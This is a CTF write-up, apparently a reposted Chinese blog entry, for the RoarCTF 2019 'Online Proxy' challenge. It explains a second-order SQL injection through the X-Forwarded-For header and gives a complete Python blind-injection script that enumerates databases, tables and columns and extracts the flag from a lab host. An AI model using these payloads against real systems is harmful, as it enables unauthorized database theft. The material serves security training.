1. 程式人生 > 其它 >[RoarCTF 2019]Online Proxy

[RoarCTF 2019]Online Proxy

技術標籤:SQL注入資料庫sql注入

知識點

  • 二次注入

WP

這題挺坑的點就是會被誤以為是SSRF,我就陷在SSRF裡出不來了。
看了WP,發現是SQL二次注入。
根據f12,看到有這個:
在這裡插入圖片描述

根據當前和之前ip的顯示,猜測是把ip存到了資料庫中,因此通過更改x-forwarded-for可以有不同的回顯,而且先注入0' or length(database())>0 or '0,然後再請求2次x-forwarded-for為1,這時候回顯出來的Last Ip居然是1,因此判斷存在x-forwarded-for的二次注入。

但是這題是有hint的,也就是flag不在當前的資料庫中,在其他的資料庫。因此還有多一次把所有資料庫爆出來的操作,最終的指令碼如下:

import requests

url='http://node3.buuoj.cn:29700/'
flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=125
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)

            print(flag)
            break


        #爆表
        #payload1="0' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'),%d,1))<%d or '0"%(i,j)
#爆庫 #payload1="0' or ascii(substr((select group_concat(schema_name) from information_schema.schemata),%d,1))<%d or '0"%(i,j) #爆列 #payload1="0' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='F4l9_t4b1e'),%d,1))<%d or '0"%(i,j)
#爆flag payload1="0' or ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),%d,1))<%d or '0"%(i,j) payload2="1" headers={ "x-forwarded-for":"", 'Cookie': 'PHPSESSID=96usdssv1f1mb25egjtbbt1rm5; track_uuid=a3b23c2c-7dfd-4687-de95-87f9583070ac; IS_STATIC=1' } headers["x-forwarded-for"]=payload1 r=requests.get(url=url,headers=headers).text #print(r) headers["x-forwarded-for"]=payload2 r=requests.get(url=url,headers=headers).text #print(r) r=requests.get(url=url,headers=headers).text #print(r) location=r.find("Last Ip: ") number=r[location+9:location+10] if '1' in number: max=j else : min=j

還需要注意的是,這題還必須要把cookie傳過去,不然不會回顯Last Ip。